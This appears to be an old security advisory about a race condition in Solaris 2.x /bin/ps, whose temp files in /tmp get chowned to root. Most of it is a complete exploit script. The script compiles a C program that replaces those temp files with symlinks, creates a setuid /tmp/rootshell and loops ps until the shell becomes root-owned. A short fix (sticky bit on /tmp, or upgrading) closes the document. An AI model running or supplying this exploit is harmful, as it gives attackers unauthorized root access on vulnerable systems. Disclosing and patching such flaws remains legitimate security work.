COMMAND

     /bin/ps

SYSTEMS AFFECTED

     Solaris 2.X (prior to 2.4?)

PROBLEM

     Lefty@real.com in 1995 heard a  rumor that there was a  potential
     race condition in /bin/ps so he decided to investigate..

     He  did  a  truss  on  /bin/ps  and  noticed  that  it  created a
     temporary  file,  chown  root  the  temp  file then renames it to
     ps_data if /tmp/ps_data was not present.

     The last  part of  the temp  filename was  based on  pid, but  he
     couldn't figure out  exactly how, so  he just scan  the directory
     (which means  that it  may take  longer to  work)..  Exploit that
     follows is in shell script mode:


     #!/bin/sh
     #
     # Syntax: ps_race.sh targetfile
     #
     # SOLARIS 2.x ONLY
     #

     echo .oO PS exploit written by lefty@real.com 1995 Oo.
     echo
     PATH=/usr/ucb:/usr/bin:/bin:.    export PATH
     IFS=" "                          export IFS

     # make the exploit program
     echo Generating source file
     cat >ps_exp.c <<EOF
     #include <unistd.h>
     #include <dirent.h>
     #include <sys/stat.h>

     extern int errno;


     main (argc,argv)
     int argc;
     char **argv;
     {
       char ps_tmp[25];
       DIR *dir;
       struct dirent *direntry;
       struct stat target_file;

       if (argc != 2) {
	 printf("Usage: %s <filename>\n",argv[0]);
	 exit (1);
       }

       /* check if its possible, if /tmp is mode +t then you cannot use this */
       if(unlink("/tmp/ps_data")!=0) {
	 if(errno==1) {
	   printf("%s: error removing /tmp/ps_data - is /tmp mode +t?\n",argv[0]);
	   exit(1);
	 }
       }

       /* make sure that the target file is there */
       if (access(argv[1],F_OK)) {
	 printf ("%s: unable to find %s\n",argv[0],argv[1]);
	 exit (1);
       }

       printf("Attempting to snag root\n");

       dir=opendir("/tmp");
       sprintf(ps_tmp,"/tmp/");

       /* clean up /tmp so that we dont bother with the wrong file */
       while ((direntry=readdir(dir)) != NULL) {
	 if (!strncmp(direntry->d_name,"ps.",3)) {
	   sprintf(&ps_tmp[5],"%s",direntry->d_name);
	   unlink(ps_tmp);
	 }
       }

       while(1) {
	 while ((direntry=readdir(dir)) != NULL) {
	   if (!strncmp(direntry->d_name,"ps.",3)) {
	     sprintf(&ps_tmp[5],"%s",direntry->d_name);
	     unlink(ps_tmp);
	     symlink(argv[1],ps_tmp);

	     if (stat(argv[1],&target_file) >= 0)
	       if (target_file.st_uid == 0) {
		 printf("%s is now suid root\n",argv[1]);

		 while ((direntry=readdir(dir)) != NULL) {
		   if (!strncmp(direntry->d_name,"ps.",3)) {
		     sprintf(&ps_tmp[5],"%s",direntry->d_name);
		     unlink(ps_tmp);
		   }
		 }

		 closedir(dir);
		 unlink("/tmp/ps_data");
		 exit(0);
	       }
	   }
	 }
	 rewinddir(dir);
	 unlink("/tmp/ps_data");
       }
     }

     EOF

     echo Compiling source file
     cc -o ps_exp ps_exp.c

     # Check we now have ps_exp
     if [ ! -x "ps_exp" ]; then
	     echo "`basename $0`: couldnt compile ps_exp.c - is cc installed?"
	     exit 1
     fi


     # start the race
     cp /bin/sh /tmp/rootshell; chmod 4755 /tmp/rootshell
     sh -c 'while true ; do nice -19 /usr/bin/ps > /dev/null ; done' &
     PS_PID=$!
     cat <<EOF

     This may take a  while, if you break  out, you will want  to kill
     process $PS_PID  If you  let the  script finish,  it will kill it
     for you as well as remove all files generated by this script

     EOF
     ps_exp /tmp/rootshell

     # if the program exited, we have a root shell, so kill ps
     kill -9 $PS_PID

     echo Cleaning up
     rm ps_exp.c ps_exp

SOLUTION

     To fix this hole, as root type:  chmod +t /tmp or simpli  upgrade
     your software.